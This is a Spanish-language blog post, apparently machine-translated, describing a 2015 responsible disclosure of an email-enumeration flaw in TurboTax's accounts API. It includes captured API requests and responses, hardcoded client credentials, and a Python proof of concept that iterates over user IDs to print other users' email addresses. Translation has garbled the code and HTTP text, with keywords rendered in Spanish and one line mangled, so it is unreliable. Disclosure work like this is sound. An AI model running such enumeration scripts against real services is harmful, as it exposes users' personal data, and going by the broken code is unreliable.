Vulnerabilidad de privacidad en la API de TurboTax

En el espíritu del día de los impuestos, quería escribir sobre mi experiencia al informar una vulnerabilidad de privacidad en el software de preparación de impuestos más popular en el mercado: TurboTax de Intuit. He estado usando TurboTax durante bastantes años para mis impuestos y este año descubrí que ofrecían una aplicación para Android. Al principio, me preguntaba si la gente realmente pagaba impuestos por su teléfono, aunque en defensa de Intuit, la aplicación parece estar más orientada a las tabletas. Dado que TurboTax contiene algunos de mis datos más sensibles disponibles, decidí echar un vistazo más de cerca a su aplicación. Esto condujo a mi descubrimiento de una vulnerabilidad que permite la enumeración de la cuenta de correo electrónico de cada usuario en su sistema. Aunque no era exactamente una vulnerabilidad crítica, era un problema de privacidad que valía la pena informar y solucionar.

Al capturar las solicitudes web, noté una llamada interesante para obtener mi información de usuario:

 OBTENGA //accounts-tax.platform.intuit.com/v1/users/me HTTP / 1.1 Autorización: *** ELIMINADO *** intuit_appid: Intuit.cg.ttu.android Aceptar: application / json offerInfo: {"sku" : "0", "priorityCode": "1877700000"} Agente de usuario: Dalvik / 1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build / KOT49H) Anfitrión: accounts-tax.platform.intuit.com Conexión: Keep-Alive Accept-Encoding: gzip 

La respuesta está abajo:

 {"userId": "165140357", "username": "rwestergren05", "namespaceId": "50000003", "securityLevel": "HIGH", "challengeQuestionAnswer": [{"question": "¿Cuál fue la marca de su primer automóvil? ", " respuesta ":" *** ELIMINADO *** "}], " correo electrónico ": {" primario ": verdadero, " dirección ":" ***REMOVED***@gmail.com ", "Estado desconocido" } } 

Es un patrón de diseño común usar / me como parámetro para obtener la información del usuario actual, en lugar de especificar su ID de usuario. En estos casos, el último segmento de URI generalmente también aceptará un ID de usuario para proporcionar acceso a la información de perfil de otros usuarios en la aplicación. La siguiente URL (usando mi ID de usuario) recibió la misma respuesta que la anterior: //accounts-tax.platform.intuit.com/v1/users/165140357. A continuación, quería ver la respuesta cuando solicitaba la información de otros usuarios. Disminuir este ID en uno y realizar la misma solicitud produjo la siguiente respuesta:

 {"email": "***REMOVED***@another-domain.com"} 

El punto final al menos hizo una distinción entre el usuario conectado y el ID de usuario que se solicita, aunque todavía expuso la dirección de correo electrónico de cada usuario en el sistema. Una vez más, no es una vulnerabilidad devastadora, pero a los usuarios generalmente no les gustan sus direcciones de correo electrónico expuestas para que cualquier actor malicioso las aproveche y las use para el correo no deseado.

Escribí el siguiente PoC para demostrar el exploit para el equipo de seguridad de Intuit:

 solicitudes de importación # Sustituir credenciales válidas validUsername = "rwestergren05" validPassword = "" def do_login (nombre de usuario, contraseña): "" "Obtener temp access_token" "" bearer_url = "//oauth-tax.platform.intuit.com/oauth2/v1 / fichas / "data = "portador grant_type = client_credentials" bearer_headers = { "Content-Type": "urlencoded-x-www-formulario de solicitud /; charset = UTF-8", "Autorización": "cTBpN0ozcjRHNmt0ME5aOXRLd0dXbTJ1STlBN3hVSXVkN2FLTk9VQ01LbEVzNW1hbFY6Y0ZacXRxajk3bmlmd básico"" XVIVGxiaUlBMTNxV3NYc1RNTUlWNnlQUGpVeg = = "} r = request.post (url = bearer_url, data = data, headers = bearer_headers) temp_token = r.json (). get (" access_token ")" "" Inicie sesión, obtenga el código de autorización "" "url =" //access-tax.platform.intuit.com/v1/oauth2codes/sign_in "data = '{" oauth2CodeRequest ": {" clientId ":" q0i7J3r4G6kt0NZ9tKwGWm2uI9A7xUIud7aKNOUCMKlEs5malV "/ //ctct /" / redirect / // v1 "}, " contraseña ":"% s ", " nombre de usuario ":"% s "} '% (contraseña, nombre de usuario) encabezados = {" Tipo de contenido ":" aplicación / json ", " Autorización ":" Portador "+ temp_token, " intuit_risk_profiling_data ":" 880c2310-4440-11e4-916c-0800200c9a66 & wl6hiim5yltpyf59p32g2e0ph9t4f170 "} r = request.post (url = url, data = data, headers = r). oauth2CodeResponse "). get (" code ")" "" Código de autorización de Exchange para access_token "" "data =" grant_type = autorización_código & code = "+ code +" & redirect_uri = https% 3A% 2F% 2Foauth2.intuit.com% 2Fnativeredirect% 2Fv1 "r = request.post (url = bearer_url, data = data, headers = bearer_headers) access_token = r.json (). get (" access_token ") print (" Access Token: "+ access_token) return access_token access_token = do_login (nombre de usuario = nombre de usuario válido, contraseña = contraseña válida) url = "//accounts-tax.platform.intuit.com/v1/users/" headers = {"Autorización": "Bearer" + access_token} mid = 165140356 count = 0 limit = 5 while count <limit: get_url = url + "% d"% mid r = request.get (get_url, headers = headers) si "INVALID_IDENTITY_ID" no está en r.text: print (r.text) count + = 1 mid - = 1 

Me impresionó que Intuit realmente tuviera un proceso oficial para informar vulnerabilidades de seguridad, lo que facilita ponerse en contacto con el equipo correcto para solucionar el problema.

Cronología de divulgación

2015-01-12: Informe inicial enviado

2015-01-13: Recibí respuesta solicitando más detalles

2015-01-13: Enviado PoC detallado (arriba)

2015-01-20: Recibí respuesta de que están validando el problema

2015-01-21: Recibí respuesta preguntando por mi salida cuando ejecuto PoC

2015-01-21: salida de ejemplo enviada

2015-01-21: Reconocimiento de vulnerabilidad, remediación en progreso

2015-01-27: hago un seguimiento del estado de la corrección

2015-01-31: Actualización recibida: controles de mitigación implementados, parche planeado

2015-02-05: Actualización recibida: monitoreo de abuso en su lugar, pero el parche aún está programado. No se encontró abuso de API.

2015-02-26: Actualización recibida: corrección publicada y confirmada

Intuit fue extremadamente receptivo durante este proceso. El informe llegó en su época más ocupada del año y, aunque la línea de tiempo de la solución completa puede parecer extendida, inmediatamente tomaron medidas para controlar cualquier abuso de la vulnerabilidad. Como explicó Intuit, su objetivo era mantener seguros los datos de los clientes y asegurarse de que hubiera poca interrupción del servicio para los clientes durante el proceso de mitigación. El equipo de seguridad de Intuit expresó su profundo agradecimiento por mi informe y me agregó a su página de Reconocimientos del investigador de seguridad.